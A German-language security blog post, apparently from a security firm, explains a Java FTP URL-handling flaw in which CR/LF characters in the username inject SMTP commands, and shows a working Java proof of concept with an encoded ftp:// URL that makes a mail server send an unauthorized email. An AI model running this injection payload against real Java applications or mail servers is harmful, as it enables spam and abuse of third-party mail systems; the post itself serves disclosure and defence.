zurück zur Übersicht

Java-Injection erlaubt Mails per FTP

Java-Injection: Mailserver manipuliert zum Mailversand über FTP-ProtokollE-Mails via FTP-Injection

Kürzlich wurde eine Sicherheitslücke in Java’s FTP-URL-Handling entdeckt, welche dem Angreifer eine Stream-Injection im FTP-Protokoll ermöglicht. Dabei kann die Lücke verwendet werden, um vorhandene XXE-Schwachstellen auszunutzen und nicht autorisierte E-Mails aus Java-Anwendungen über das SMTP-Protokoll zu versenden.

Der Angriff im Detail

Die Implementierung des Verbindungsaufbaus zum FTP-Server mithilfe von Java kann hier nachgeschlagen werden: sun.net.ftp.impl.FtpClient (http://hg.openjdk.java.net/jdk8/jdk8/jdk/file/687fd7c7986d/src/share/classes/sun/net/ftp/impl/FtpClient.java). Um sich am FTP-Server zu authentifizieren, fügt man den Nutzernamen und das Passwort in die URL (z.B. ftp://user:password@host:port/file.ext) ein. Daraufhin wird der FTP-Client das USER-Kommando ausführen.

Genau hier kommt der Bug zum Tragen: Ein Angreifer kann die URL so manipulieren, dass FTP-Kommandos injiziert werden, da die Java-Anwendung nicht die Syntax des Benutzernamens überprüft. Im RF 959 File Transfer Protocol (FTP) (https://tools.ietf.org/html/rfc959) wird beschrieben, dass der Benutzername aus einer beliebigen Sequenz von maximal 128 ASCII-Zeichen mit Ausnahme von <CR> (Carriage Return) und <LF> (Line Feed) bestehen kann. In der Implementierung wurde jedoch vergessen die Präsenz von <CR> und <LF>  zu überprüfen.

Dies bedeutet, dass wir, wenn wir %0D%0A irgendwo im Benutzerteil der URL (oder dem Passwortteil, das wäre ebenfalls möglich) setzen, den Befehl USER (oder PASS) beenden und somit einen neuen Befehl in die FTP-Sitzung einspielen können.

Wenn also ein Angreifer ein USER-Kommando an einen Mail-Server anstatt an einen FTP-Server ausführt, wird mit einem Fehlercode geantwortet, da USER kein gültiger SMTP-Befehl ist. Die Session bleibt jedoch erhalten. Kombiniert man diesen Bug mit SMTP-Befehlen, kann der Angreifer E-Mails versenden.

Folgendes Beispiel zeigt, wie ein Angreifer die Sicherheitslücke ausnutzen kann:

 import java.net.*;
import java.io.*;
public class FTExample {
public static void main(String[] args) throws Exception { URL web = newURL(
ftp://a%0D%0AEHLO%20a%0D%0AMAIL%20FROM%3A%3Ca%40hack.org%3E%0D%0ARCPT%20TO%3A%3Ctest%40itc.de%3E%0D%0ADATA%0D%0AFrom%3A%20test%40hack.org%0ATo%3A%20test%40itc.de%0ASubject%3A%20test%0A%0Atest!%0A%0D%0A.%0D%0AQUIT%0D%0A:a@test.de:25/a„);
URLConnection www = web.openConnection();
BufferedReader in = new BufferedReader(
new InputStreamReader(
www.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null)
System.out.println(inputLine);
in.close();
}}

Zur besseren Lesbarkeit hier der kritische URL-Aufruf entzerrt:

ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Ctest%40hack.org%3E%0D%0A
RCPT%20TO%3A%3Ctest%40itc.de%3E%0D%0A
DATA%0D%0A
From%3A%20test%40hack.org%0ATo%3A%20test%40itc.de%0ASubject%3A%20test%0A%0Atest!%0A%0D%0A
.%0D%0A
QUIT%0D%0A
:a@test.de:25/a“

Wenn nun sun.net.ftp.impl.FtpClient diese URL zur Verbindung verwendet, werden folgende Kommandos an den Mailserver test.de ausgeführt:

USER a<CR><LF>
EHLO a<CR><LF>
MAIL FROM:<test@hack.org><CR><LF>
RCPT TO:<test@itc.de><CR><LF>
DATA<CR><LF>
From: test@hack.org<LF>
To: test@itc.de<LF>
Subject: test<LF>
<LF>
test!<LF><CR><LF>
.<CR><LF>
QUIT<CR><LF>

Java gibt zwar eine Fehlermeldung aus: sun.net.ftp.FtpLoginException: Invalid username/password. Dennoch wird die E-Mail versendet. Der Wiresharkausschnitt verdeutlicht das:

Auswirkungen & Gegenmaßnahmen

Mit dieser Schwachstelle kann der Angreifer problemlos den Mailserver manipulieren, um z.B. Spam-Mails zu versenden. Als Gegenmaßnahme hilft aktuell nur Java zu deaktivieren bis ein Update vom Hersteller zur Verfügung gestellt wird.

 


Quellen:

https://www.heise.de/security/meldung/Luecken-in-Java-und-Python-umgehen-die-Firewall-3632906.html

https://shiftordie.de/blog/2017/02/18/smtp-over-xxe/

http://blog.blindspotsecurity.com/2017/02/advisory-javapython-ftp-injections.html

Bild: ©iT-CUBE SYSTEMS AG 2017

Schreibe einen Kommentar